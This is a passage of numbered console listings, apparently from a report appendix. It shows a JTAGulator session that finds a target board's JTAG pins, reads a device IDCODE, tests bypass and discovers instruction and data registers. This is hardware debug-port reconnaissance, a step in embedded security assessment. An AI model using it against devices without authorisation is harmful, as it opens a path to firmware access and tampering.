74 I Identify JTAG pinout ( IDCODE Scan)

75 B Identify JTAG pinout ( BYPASS Scan)

76 D Get Device ID(s)

77 T Test BYPASS (TDI to TDO)

78 Y Instruction /Data Register (IR/DR) discovery

79 X Transfer instruction /data

80 C Set JTAG clock speed

81

82 General Commands :

83 V Set target I/O voltage (1.2V to 3.3V)

84 H Display available commands

85 M Return to main menu

86

87 JTAG > b

88

89 Enter starting channel [0]:

90

91 Enter ending channel [12]:

92

93 Are any pins already known? [Y/n]: y

94

95 Enter X for any unknown pin.

96 Enter TDI pin [0]: x

97

98 Enter TDO pin [11]:

99

100 Enter TCK pin [4]:



150 C. DETAILED LISTINGS

101

102 Enter TMS pin [12]:

103

104 Possible permutations : 10

105

106 Bring channels LOW between each permutation ? [Y/n]: y

107

108 Enter length of time for channels to remain LOW (in ms , 1 -

1000) [100]:

109

110 Enter length of time after channels return HIGH before

proceeding (in ms , 1 - 1000) [100]:

111

112 Press spacebar to begin (any other key to abort)...

113 JTAGulating ! Press any key to abort ...

114 ----

115 TDI: 5

116 TDO: 11

117 TCK: 4

118 TMS: 12

119 TRST #: 3

120 TRST #: 10

121 Number of devices detected : 1

122 ------

123 BYPASS scan complete .

124

125 JTAG > h

126

127 JTAG Commands :

128 I Identify JTAG pinout ( IDCODE Scan)

129 B Identify JTAG pinout ( BYPASS Scan)

130 D Get Device ID(s)

131 T Test BYPASS (TDI to TDO)

132 Y Instruction /Data Register (IR/DR) discovery

133 X Transfer instruction /data

134 C Set JTAG clock speed

135

136 General Commands :

137 V Set target I/O voltage (1.2V to 3.3V)

138 H Display available commands

139 M Return to main menu

140

141 JTAG > d

142

143 TDI not needed to retrieve Device ID.
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144 Enter TDO pin [11]:

145

146 Enter TCK pin [4]:

147

148 Enter TMS pin [12]:

149

150

151 Device ID #1: 0000 0101101100000010 00000011111 1 (0 x05B0203F )

152 -> Manufacturer ID: 0x01F

153 -> Part Number : 0x5B02

154 -> Version : 0x0

155 IDCODE listing complete .

156

157 JTAG > t

158

159 Enter TDI pin [5]:

160 Enter TDO pin [11]:

161 Enter TCK pin [4]:

162 Enter TMS pin [12]:

163

164 Number of devices detected : 1

165 Pattern in to TDI: 10001010000011100011111111001001

166 Pattern out from TDO: 10001010000011100011111111001001

167 Match!

168

169

170 JTAG > y

171

172 Enter TDI pin [5]:

173 Enter TDO pin [11]:

174 Enter TCK pin [4]:

175 Enter TMS pin [12]:

176 Ignore single -bit Data Registers ? [Y/n]: y

177

178 Instruction Register (IR) length : 4

179 Possible instructions : 16

180 Press spacebar to begin (any other key to abort)...

181 JTAGulating ! Press any key to abort ...

182 -

183 IR: 0010 (0x2) -> DR: 5

184 -

185 IR: 1110 (0xE) -> DR: 32

186

187 IR/DR discovery complete .
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